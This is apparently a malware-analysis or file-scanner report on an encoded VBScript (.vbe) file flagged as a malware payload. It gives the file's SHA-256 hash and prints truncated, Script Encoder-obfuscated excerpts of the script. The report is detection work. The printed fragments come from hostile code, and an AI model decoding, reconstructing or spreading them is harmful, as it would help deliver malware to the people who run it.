Suspicious ^80% Download

9dcec24d2213d41b0c3e890c270958740938fcda6c513718fb3ced9776e7ae04.vbe

Encoded VBScript malware payload

Microsoft Script Encoder protected scriptVBScript has long average lines

SHA-2569dcec24d2213d41b0c3e890c270958740938fcda6c513718fb3ced9776e7ae04

Evidence

Microsoft Script Encoder protected script line 1

1#@~^AqgIAA==6aYrKx,26aVb^kD@#@&@#@&@#@&@#@&@#@&@#@&?!4P_eiZo`*@#@&P~~,fr:,H&AtS,MfKJV~~`!\qS,nAn5U~,6.\1	@#@&P~~,.SIjcZW	UnmD@#@&P~P~jY~1q(A\Px~~|?])v#@#@&,~,PjY,MfhSV~',.J5U !YsKsND`rwE#@#@&,P~P!9hS!R"nob/OnMKldVG+Wk	rDkG	P\j9wqB~1qq$}BPSB~&@#@&2	NPU;8@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&UE8~zpneBv2!hu*@#@&,P,P2VhuRzmOkKxd ;D+mO+v!#cKCY4P{P}}$to`b@#@&3x9Pj;(@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&h.k7lO+,s;U1YkKUPgZZVJcq&n;Sb@#@&~,P~fbhPxC9B`@#@&~~,P(0,oqq3V`&qn;S*~K4+U@#@&P~~,PP,~9_f9`~xPx|AK#`((hZJ#@#@&P,P~3^/+@#@&,P~P,~,PB_fxjP{PrE@#@&P~P,2U[,q0@#@&P,PPg//MdP{PBC9B`@#@&2	[PwEU^DkWU@#@&@#@&@# …

Percent-encoded content decoded line 1

1:290427… A!ws&8*G9AAGf2Os{32cZlq*y *8$vA&R%o%9TA&TG~qc8GqzfF)1~2q2G*+syGwvfy%8)!Z%0cOA)9G2GO0Zy ,W3f&+&Rv1A+TW*$%2f&OG3XZAsT{Z%0c2T+bf;,l!28AA1Aw%X!GF/0~fbFAZ2*2{%zvG!TG$fwG*O3s~F3qA*s0{F!9c;/F%q8*2AFO%FTG~,122%01l …

Microsoft Script Encoder footer line 1

1:567223… PwCVk+@#@&,P~~,PP, b^VWSuCD9KDhkUCD+~',ol^/n@#@&PP~~Ax[PqrDt@#@&2	NPUE(@#@&@#@&@#@&@#@&MlPhAQ==^#~@�